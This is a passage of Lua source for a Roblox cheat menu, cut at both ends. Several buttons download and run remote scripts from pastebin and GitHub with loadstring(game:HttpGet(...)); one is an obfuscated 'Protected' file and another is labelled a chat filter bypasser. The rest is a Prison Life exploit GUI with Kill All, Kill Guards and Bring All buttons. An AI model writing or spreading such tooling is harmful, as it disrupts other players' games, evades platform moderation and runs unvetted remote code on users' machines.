bodyVelocity.Velocity = dir * flySpeed bodyGyro.CFrame = camCF -- Animation Logic if inputFlags.up then if not tracks.up.IsPlaying then stopAll(); tracks.up:Play() end elseif inputFlags.down then if not tracks.down.IsPlaying then stopAll(); tracks.down:Play() end elseif inputFlags.left then if not tracks.left1.IsPlaying then stopAll() tracks.left1:Play(); tracks.left1.TimePosition = 2.0; tracks.left1:AdjustSpeed(0) tracks.left2:Play(); tracks.left2.TimePosition = 0.5; tracks.left2:AdjustSpeed(0) end elseif inputFlags.right then if not tracks.right1.IsPlaying then stopAll() tracks.right1:Play(); tracks.right1.TimePosition = 1.1; tracks.right1:AdjustSpeed(0) tracks.right2:Play(); tracks.right2.TimePosition = 0.5; tracks.right2:AdjustSpeed(0) end elseif inputFlags.back then if not tracks.back1.IsPlaying then stopAll() tracks.back1:Play(); tracks.back1.TimePosition = 5.3; tracks.back1:AdjustSpeed(0) tracks.back2:Play(); tracks.back2:AdjustSpeed(0) tracks.back3:Play(); tracks.back3.TimePosition = 0.8; tracks.back3:AdjustSpeed(0) tracks.back4:Play(); tracks.back4.TimePosition = 1; tracks.back4:AdjustSpeed(0) end elseif inputFlags.forward then forwardHold += dt if forwardHold >= 3 then if not tracks.flyFast.IsPlaying then stopAll() flySpeed = baseSpeed * 1.3 tracks.flyFast:Play(); tracks.flyFast:AdjustSpeed(0.05) end else if not tracks.flyLow1.IsPlaying then stopAll() flySpeed = baseSpeed tracks.flyLow1:Play() tracks.flyLow2:Play() end end else if not tracks.idle1.IsPlaying then stopAll() tracks.idle1:Play(); tracks.idle1:AdjustSpeed(0) end end end) end gui() end, }) local Button = MainTab:CreateButton({ Name = "fe fake lag", Callback = function() loadstring(game:HttpGet("https://pastebin.com/raw/w6PfESuz"))() end, }) local Button = MainTab:CreateButton({ Name = "Natural Disaster Survival script", Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/Codexxscripts/Script/refs/heads/main/Protected_7867058958573066.lua.txt"))() end, }) local Button = MainTab:CreateButton({ Name = "prisonlife script", Callback = function() loadstring(game:HttpGet('https://raw.githubusercontent.com/TheDarkoneMarcillisePex/Other-Scripts/main/Prison%20Life%20GUI'))() end, }) local Button = MainTab:CreateButton({ Name = "rivals script", Callback = function() loadstring(game:HttpGet('https://raw.githubusercontent.com/TheDarkoneMarcillisePex/Other-Scripts/refs/heads/main/Rivals%20GUI'))() end, }) local Button = MainTab:CreateButton({ Name = "fisch script", Callback = function() loadstring(game:HttpGet('https://raw.githubusercontent.com/TheDarkoneMarcillisePex/Other-Scripts/refs/heads/main/Fisch%20GUI'))() end, }) local Button = MainTab:CreateButton({ Name = "the strongest battlegrounds script", Callback = function() loadstring(game:HttpGet('https://raw.githubusercontent.com/TheDarkoneMarcillisePex/Other-Scripts/refs/heads/main/The%20Strongest%20Battlegrounds%20GUI'))() end, }) local Button = MainTab:CreateButton({ Name = "Chat Bypasser", Callback = function() loadstring(game:HttpGet("https://gist.githubusercontent.com/mert134/358b6c0b43e67f75dd4c8f1fc17af692/raw/d79af94b05269769e44360e4c4bb4dff5cda2a15/gistfile1.txt"))() end, }) local Button = MainTab:CreateButton({ Name = "work at a pizza place script", Callback = function() loadstring(game:HttpGet(('https://raw.githubusercontent.com/Hm5011/hussain/refs/heads/main/Work%20at%20a%20pizza%20place'),true))() end, }) local Button = MainTab:CreateButton({ Name = "JakeDry gui for prison life", Callback = function() --[=[ d888b db db d888888b .d888b. db db db .d8b. 88' Y8b 88 88 `88' VP `8D 88 88 88 d8' `8b 88 88 88 88 odD' 88 88 88 88ooo88 88 ooo 88 88 88 .88' 88 88 88 88~~~88 88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88 @uniquadev Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER ]=] -- Instances: 86 | Scripts: 1 | Modules: 0 | Tags: 0 local G2L = {}; -- StarterGui.JakeDry G2L["1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui")); G2L["1"]["Name"] = [[JakeDry]]; G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling; -- StarterGui.JakeDry.MainFrame G2L["2"] = Instance.new("Frame", G2L["1"]); G2L["2"]["Active"] = true; G2L["2"]["BorderSizePixel"] = 0; G2L["2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2"]["Selectable"] = true; G2L["2"]["Size"] = UDim2.new(0, 648, 0, 500); G2L["2"]["Position"] = UDim2.new(0, 297, 0, 107); G2L["2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2"]["Name"] = [[MainFrame]]; -- StarterGui.JakeDry.MainFrame.GameImage G2L["3"] = Instance.new("ImageLabel", G2L["2"]); G2L["3"]["BorderSizePixel"] = 0; G2L["3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["3"]["Image"] = [[rbxassetid://1237471491]]; G2L["3"]["Size"] = UDim2.new(0, 216, 0, 150); G2L["3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["3"]["Name"] = [[GameImage]]; G2L["3"]["Position"] = UDim2.new(0, 215, 0, 50); -- StarterGui.JakeDry.MainFrame.AK G2L["4"] = Instance.new("TextButton", G2L["2"]); G2L["4"]["TextWrapped"] = true; G2L["4"]["BorderSizePixel"] = 0; G2L["4"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["4"]["TextSize"] = 14; G2L["4"]["TextScaled"] = true; G2L["4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["4"]["Size"] = UDim2.new(0, 215, 0, 50); G2L["4"]["Name"] = [[AK]]; G2L["4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["4"]["Text"] = [[Get AK-47]]; -- StarterGui.JakeDry.MainFrame.AK.UIStroke G2L["5"] = Instance.new("UIStroke", G2L["4"]); G2L["5"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.AK.UITextSizeConstraint G2L["6"] = Instance.new("UITextSizeConstraint", G2L["4"]); G2L["6"]["MaxTextSize"] = 14; -- StarterGui.JakeDry.MainFrame.UIStroke G2L["7"] = Instance.new("UIStroke", G2L["2"]); G2L["7"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.Pistol G2L["8"] = Instance.new("TextButton", G2L["2"]); G2L["8"]["TextWrapped"] = true; G2L["8"]["BorderSizePixel"] = 0; G2L["8"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["8"]["TextSize"] = 14; G2L["8"]["TextScaled"] = true; G2L["8"]["BackgroundColor3"] = Color3.fromRGB(16, 16, 16); G2L["8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["8"]["Size"] = UDim2.new(0, 327, 0, 50); G2L["8"]["Name"] = [[Pistol]]; G2L["8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["8"]["Text"] = [[Get M9 (Pistol)]]; G2L["8"]["Position"] = UDim2.new(0, 216, 0, 0); -- StarterGui.JakeDry.MainFrame.Pistol.UIStroke G2L["9"] = Instance.new("UIStroke", G2L["8"]); G2L["9"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.Pistol.UITextSizeConstraint G2L["a"] = Instance.new("UITextSizeConstraint", G2L["8"]); G2L["a"]["MaxTextSize"] = 14; -- StarterGui.JakeDry.MainFrame.Shotgun G2L["b"] = Instance.new("TextButton", G2L["2"]); G2L["b"]["TextWrapped"] = true; G2L["b"]["BorderSizePixel"] = 0; G2L["b"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["b"]["TextSize"] = 14; G2L["b"]["TextScaled"] = true; G2L["b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["b"]["Size"] = UDim2.new(0, 103, 0, 50); G2L["b"]["Name"] = [[Shotgun]]; G2L["b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["b"]["Text"] = [[Get Shotgun]]; G2L["b"]["Position"] = UDim2.new(0, 544, 0, 0); -- StarterGui.JakeDry.MainFrame.Shotgun.UIStroke G2L["c"] = Instance.new("UIStroke", G2L["b"]); G2L["c"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.Shotgun.UITextSizeConstraint G2L["d"] = Instance.new("UITextSizeConstraint", G2L["b"]); G2L["d"]["MaxTextSize"] = 14; -- StarterGui.JakeDry.MainFrame.Neutral G2L["e"] = Instance.new("TextButton", G2L["2"]); G2L["e"]["TextWrapped"] = true; G2L["e"]["BorderSizePixel"] = 0; G2L["e"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["e"]["TextSize"] = 14; G2L["e"]["TextScaled"] = true; G2L["e"]["BackgroundColor3"] = Color3.fromRGB(123, 123, 123); G2L["e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["e"]["Size"] = UDim2.new(0, 215, 0, 50); G2L["e"]["Name"] = [[Neutral]]; G2L["e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["e"]["Text"] = [[Be a NEUTRAL]]; G2L["e"]["Position"] = UDim2.new(0, 0, 0, 50); -- StarterGui.JakeDry.MainFrame.Neutral.UIStroke G2L["f"] = Instance.new("UIStroke", G2L["e"]); G2L["f"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.Neutral.UITextSizeConstraint G2L["10"] = Instance.new("UITextSizeConstraint", G2L["e"]); G2L["10"]["MaxTextSize"] = 14; -- StarterGui.JakeDry.MainFrame.Guard G2L["11"] = Instance.new("TextButton", G2L["2"]); G2L["11"]["TextWrapped"] = true; G2L["11"]["BorderSizePixel"] = 0; G2L["11"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["11"]["TextSize"] = 14; G2L["11"]["TextScaled"] = true; G2L["11"]["BackgroundColor3"] = Color3.fromRGB(45, 101, 255); G2L["11"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["11"]["Size"] = UDim2.new(0, 215, 0, 50); G2L["11"]["Name"] = [[Guard]]; G2L["11"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["11"]["Text"] = [[Be a GUARD]]; G2L["11"]["Position"] = UDim2.new(0, 0, 0, 100); -- StarterGui.JakeDry.MainFrame.Guard.UIStroke G2L["12"] = Instance.new("UIStroke", G2L["11"]); G2L["12"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.Guard.UITextSizeConstraint G2L["13"] = Instance.new("UITextSizeConstraint", G2L["11"]); G2L["13"]["MaxTextSize"] = 14; -- StarterGui.JakeDry.MainFrame.Inmate G2L["14"] = Instance.new("TextButton", G2L["2"]); G2L["14"]["TextWrapped"] = true; G2L["14"]["BorderSizePixel"] = 0; G2L["14"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["14"]["TextSize"] = 14; G2L["14"]["TextScaled"] = true; G2L["14"]["BackgroundColor3"] = Color3.fromRGB(255, 178, 52); G2L["14"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["14"]["Size"] = UDim2.new(0, 215, 0, 50); G2L["14"]["Name"] = [[Inmate]]; G2L["14"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["14"]["Text"] = [[Be an INMATE]]; G2L["14"]["Position"] = UDim2.new(0, 0, 0, 150); -- StarterGui.JakeDry.MainFrame.Inmate.UIStroke G2L["15"] = Instance.new("UIStroke", G2L["14"]); G2L["15"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.Inmate.UITextSizeConstraint G2L["16"] = Instance.new("UITextSizeConstraint", G2L["14"]); G2L["16"]["MaxTextSize"] = 14; -- StarterGui.JakeDry.MainFrame.Criminal G2L["17"] = Instance.new("TextButton", G2L["2"]); G2L["17"]["TextWrapped"] = true; G2L["17"]["BorderSizePixel"] = 0; G2L["17"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["17"]["TextSize"] = 14; G2L["17"]["TextScaled"] = true; G2L["17"]["BackgroundColor3"] = Color3.fromRGB(108, 199, 255); G2L["17"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["17"]["Size"] = UDim2.new(0, 215, 0, 50); G2L["17"]["Name"] = [[Criminal]]; G2L["17"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["17"]["Text"] = [[Be a CRIMINAL]]; G2L["17"]["Position"] = UDim2.new(0, 0, 0, 200); -- StarterGui.JakeDry.MainFrame.Criminal.UIStroke G2L["18"] = Instance.new("UIStroke", G2L["17"]); G2L["18"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.Criminal.UITextSizeConstraint G2L["19"] = Instance.new("UITextSizeConstraint", G2L["17"]); G2L["19"]["MaxTextSize"] = 14; -- StarterGui.JakeDry.MainFrame.Car G2L["1a"] = Instance.new("TextButton", G2L["2"]); G2L["1a"]["TextWrapped"] = true; G2L["1a"]["BorderSizePixel"] = 0; G2L["1a"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["1a"]["TextSize"] = 14; G2L["1a"]["TextScaled"] = true; G2L["1a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1a"]["Size"] = UDim2.new(0, 215, 0, 50); G2L["1a"]["Name"] = [[Car]]; G2L["1a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1a"]["Text"] = [[Spawn Car]]; G2L["1a"]["Position"] = UDim2.new(0, 215, 0, 200); -- StarterGui.JakeDry.MainFrame.Car.UIStroke G2L["1b"] = Instance.new("UIStroke", G2L["1a"]); G2L["1b"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.Car.UITextSizeConstraint G2L["1c"] = Instance.new("UITextSizeConstraint", G2L["1a"]); G2L["1c"]["MaxTextSize"] = 14; -- StarterGui.JakeDry.MainFrame.KillAll G2L["1d"] = Instance.new("TextButton", G2L["2"]); G2L["1d"]["TextWrapped"] = true; G2L["1d"]["BorderSizePixel"] = 0; G2L["1d"]["TextColor3"] = Color3.fromRGB(139, 0, 3); G2L["1d"]["TextSize"] = 14; G2L["1d"]["TextScaled"] = true; G2L["1d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1d"]["Size"] = UDim2.new(0, 217, 0, 50); G2L["1d"]["Name"] = [[KillAll]]; G2L["1d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1d"]["Text"] = [[Kill All]]; G2L["1d"]["Position"] = UDim2.new(0, 215, 0, 250); -- StarterGui.JakeDry.MainFrame.KillAll.UIStroke G2L["1e"] = Instance.new("UIStroke", G2L["1d"]); G2L["1e"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.KillAll.UITextSizeConstraint G2L["1f"] = Instance.new("UITextSizeConstraint", G2L["1d"]); G2L["1f"]["MaxTextSize"] = 14; -- StarterGui.JakeDry.MainFrame.RestoreDoors G2L["20"] = Instance.new("TextButton", G2L["2"]); G2L["20"]["TextWrapped"] = true; G2L["20"]["BorderSizePixel"] = 0; G2L["20"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["20"]["TextSize"] = 14; G2L["20"]["TextScaled"] = true; G2L["20"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["20"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["20"]["Size"] = UDim2.new(0, 125, 0, 50); G2L["20"]["Name"] = [[RestoreDoors]]; G2L["20"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["20"]["Text"] = [[Restore Doors]]; G2L["20"]["Position"] = UDim2.new(0, 431, 0, 150); -- StarterGui.JakeDry.MainFrame.RestoreDoors.UIStroke G2L["21"] = Instance.new("UIStroke", G2L["20"]); G2L["21"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.RestoreDoors.UITextSizeConstraint G2L["22"] = Instance.new("UITextSizeConstraint", G2L["20"]); G2L["22"]["MaxTextSize"] = 14; -- StarterGui.JakeDry.MainFrame.SuperPunch G2L["23"] = Instance.new("TextButton", G2L["2"]); G2L["23"]["TextWrapped"] = true; G2L["23"]["BorderSizePixel"] = 0; G2L["23"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["23"]["TextSize"] = 14; G2L["23"]["TextScaled"] = true; G2L["23"]["BackgroundColor3"] = Color3.fromRGB(22, 225, 255); G2L["23"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["23"]["Size"] = UDim2.new(0, 111, 0, 50); G2L["23"]["Name"] = [[SuperPunch]]; G2L["23"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["23"]["Text"] = [[Super Punch]]; G2L["23"]["Position"] = UDim2.new(0, 431, 0, 100); -- StarterGui.JakeDry.MainFrame.SuperPunch.UIStroke G2L["24"] = Instance.new("UIStroke", G2L["23"]); G2L["24"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.SuperPunch.UITextSizeConstraint G2L["25"] = Instance.new("UITextSizeConstraint", G2L["23"]); G2L["25"]["MaxTextSize"] = 14; -- StarterGui.JakeDry.MainFrame.InfJumps G2L["26"] = Instance.new("TextButton", G2L["2"]); G2L["26"]["TextWrapped"] = true; G2L["26"]["BorderSizePixel"] = 0; G2L["26"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["26"]["TextSize"] = 14; G2L["26"]["TextScaled"] = true; G2L["26"]["BackgroundColor3"] = Color3.fromRGB(133, 59, 61); G2L["26"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["26"]["Size"] = UDim2.new(0, 90, 0, 50); G2L["26"]["Name"] = [[InfJumps]]; G2L["26"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["26"]["Text"] = [[Inf Jumps]]; G2L["26"]["Position"] = UDim2.new(0, 557, 0, 150); -- StarterGui.JakeDry.MainFrame.InfJumps.UIStroke G2L["27"] = Instance.new("UIStroke", G2L["26"]); G2L["27"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.InfJumps.UITextSizeConstraint G2L["28"] = Instance.new("UITextSizeConstraint", G2L["26"]); G2L["28"]["MaxTextSize"] = 14; -- StarterGui.JakeDry.MainFrame.UnspamSounds G2L["29"] = Instance.new("TextButton", G2L["2"]); G2L["29"]["TextWrapped"] = true; G2L["29"]["BorderSizePixel"] = 0; G2L["29"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["29"]["TextSize"] = 14; G2L["29"]["TextScaled"] = true; G2L["29"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["29"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["29"]["Size"] = UDim2.new(0, 215, 0, 50); G2L["29"]["Name"] = [[UnspamSounds]]; G2L["29"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["29"]["Text"] = [[Unspam Sounds]]; G2L["29"]["Position"] = UDim2.new(0, 0, 0, 250); -- StarterGui.JakeDry.MainFrame.UnspamSounds.UIStroke G2L["2a"] = Instance.new("UIStroke", G2L["29"]); G2L["2a"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.UnspamSounds.UITextSizeConstraint G2L["2b"] = Instance.new("UITextSizeConstraint", G2L["29"]); G2L["2b"]["MaxTextSize"] = 14; -- StarterGui.JakeDry.MainFrame.Sword G2L["2c"] = Instance.new("TextButton", G2L["2"]); G2L["2c"]["TextWrapped"] = true; G2L["2c"]["BorderSizePixel"] = 0; G2L["2c"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["2c"]["TextSize"] = 14; G2L["2c"]["TextScaled"] = true; G2L["2c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2c"]["Size"] = UDim2.new(0, 216, 0, 50); G2L["2c"]["Name"] = [[Sword]]; G2L["2c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2c"]["Text"] = [[FE Sword]]; G2L["2c"]["Position"] = UDim2.new(0, 431, 0, 200); -- StarterGui.JakeDry.MainFrame.Sword.UIStroke G2L["2d"] = Instance.new("UIStroke", G2L["2c"]); G2L["2d"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.Sword.UITextSizeConstraint G2L["2e"] = Instance.new("UITextSizeConstraint", G2L["2c"]); G2L["2e"]["MaxTextSize"] = 14; -- StarterGui.JakeDry.MainFrame.SpamSounds G2L["2f"] = Instance.new("TextButton", G2L["2"]); G2L["2f"]["TextWrapped"] = true; G2L["2f"]["BorderSizePixel"] = 0; G2L["2f"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["2f"]["TextSize"] = 14; G2L["2f"]["TextScaled"] = true; G2L["2f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["2f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2f"]["Size"] = UDim2.new(0, 216, 0, 50); G2L["2f"]["Name"] = [[SpamSounds]]; G2L["2f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["2f"]["Text"] = [[Spawn Sounds]]; G2L["2f"]["Position"] = UDim2.new(0, 431, 0, 250); -- StarterGui.JakeDry.MainFrame.SpamSounds.UIStroke G2L["30"] = Instance.new("UIStroke", G2L["2f"]); G2L["30"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.SpamSounds.UITextSizeConstraint G2L["31"] = Instance.new("UITextSizeConstraint", G2L["2f"]); G2L["31"]["MaxTextSize"] = 14; -- StarterGui.JakeDry.MainFrame.Keycard G2L["32"] = Instance.new("TextButton", G2L["2"]); G2L["32"]["TextWrapped"] = true; G2L["32"]["BorderSizePixel"] = 0; G2L["32"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["32"]["TextSize"] = 14; G2L["32"]["TextScaled"] = true; G2L["32"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["32"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["32"]["Size"] = UDim2.new(0, 216, 0, 50); G2L["32"]["Name"] = [[Keycard]]; G2L["32"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["32"]["Text"] = [[Get Keycard]]; G2L["32"]["Position"] = UDim2.new(0, 0, 0, 300); -- StarterGui.JakeDry.MainFrame.Keycard.UIStroke G2L["33"] = Instance.new("UIStroke", G2L["32"]); G2L["33"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.Keycard.UITextSizeConstraint G2L["34"] = Instance.new("UITextSizeConstraint", G2L["32"]); G2L["34"]["MaxTextSize"] = 14; -- StarterGui.JakeDry.MainFrame.UnLKAll G2L["35"] = Instance.new("TextButton", G2L["2"]); G2L["35"]["TextWrapped"] = true; G2L["35"]["BorderSizePixel"] = 0; G2L["35"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["35"]["TextSize"] = 14; G2L["35"]["TextScaled"] = true; G2L["35"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["35"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["35"]["Size"] = UDim2.new(0, 216, 0, 50); G2L["35"]["Name"] = [[UnLKAll]]; G2L["35"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["35"]["Text"] = [[Unloopkill All]]; G2L["35"]["Position"] = UDim2.new(0, 0, 0, 349); -- StarterGui.JakeDry.MainFrame.UnLKAll.UIStroke G2L["36"] = Instance.new("UIStroke", G2L["35"]); G2L["36"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.UnLKAll.UITextSizeConstraint G2L["37"] = Instance.new("UITextSizeConstraint", G2L["35"]); G2L["37"]["MaxTextSize"] = 14; -- StarterGui.JakeDry.MainFrame.KillInmates G2L["38"] = Instance.new("TextButton", G2L["2"]); G2L["38"]["TextWrapped"] = true; G2L["38"]["BorderSizePixel"] = 0; G2L["38"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["38"]["TextSize"] = 14; G2L["38"]["TextScaled"] = true; G2L["38"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["38"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["38"]["Size"] = UDim2.new(0, 216, 0, 50); G2L["38"]["Name"] = [[KillInmates]]; G2L["38"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["38"]["Text"] = [[Kill Inmates]]; G2L["38"]["Position"] = UDim2.new(0, 0, 0, 400); -- StarterGui.JakeDry.MainFrame.KillInmates.UIStroke G2L["39"] = Instance.new("UIStroke", G2L["38"]); G2L["39"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.KillInmates.UITextSizeConstraint G2L["3a"] = Instance.new("UITextSizeConstraint", G2L["38"]); G2L["3a"]["MaxTextSize"] = 14; -- StarterGui.JakeDry.MainFrame.BringAll G2L["3b"] = Instance.new("TextButton", G2L["2"]); G2L["3b"]["TextWrapped"] = true; G2L["3b"]["BorderSizePixel"] = 0; G2L["3b"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["3b"]["TextSize"] = 14; G2L["3b"]["TextScaled"] = true; G2L["3b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["3b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["3b"]["Size"] = UDim2.new(0, 216, 0, 50); G2L["3b"]["Name"] = [[BringAll]]; G2L["3b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["3b"]["Text"] = [[Bring All]]; G2L["3b"]["Position"] = UDim2.new(0, 216, 0, 300); -- StarterGui.JakeDry.MainFrame.BringAll.UIStroke G2L["3c"] = Instance.new("UIStroke", G2L["3b"]); G2L["3c"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.BringAll.UITextSizeConstraint G2L["3d"] = Instance.new("UITextSizeConstraint", G2L["3b"]); G2L["3d"]["MaxTextSize"] = 14; -- StarterGui.JakeDry.MainFrame.KillGuards G2L["3e"] = Instance.new("TextButton", G2L["2"]); G2L["3e"]["TextWrapped"] = true; G2L["3e"]["BorderSizePixel"] = 0; G2L["3e"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["3e"]["TextSize"] = 14; G2L["3e"]["TextScaled"] = true; G2L["3e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["3e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["3e"]["Size"] = UDim2.new(0, 216, 0, 50); G2L["3e"]["Name"] = [[KillGuards]]; G2L["3e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["3e"]["Text"] = [[Kill Guards]]; G2L["3e"]["Position"] = UDim2.new(0, 216, 0, 349); -- StarterGui.JakeDry.MainFrame.KillGuards.UIStroke G2L["3f"] = Instance.new("UIStroke", G2L["3e"]); G2L["3f"]["ApplyStrokeMode"] = Enum.ApplyStrokeMode.Border; -- StarterGui.JakeDry.MainFrame.KillGuards.UITextSizeConstraint G2L["40"] = Instance.new("UITextSizeConstraint", G2L["3e"]); G2L["40"]["MaxTextSize"] = 14; -- StarterGui.JakeDry.MainFrame.Btools G2L["41"] = Instance.new("TextButton", G2L["2"]); G2L["41"]["TextWrapped"] = true; G2L["41"]["BorderSizePixel"] = 0; G2L["41"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["41"]["TextSize"] = 14; G2L["41"]["TextScaled"] = true; 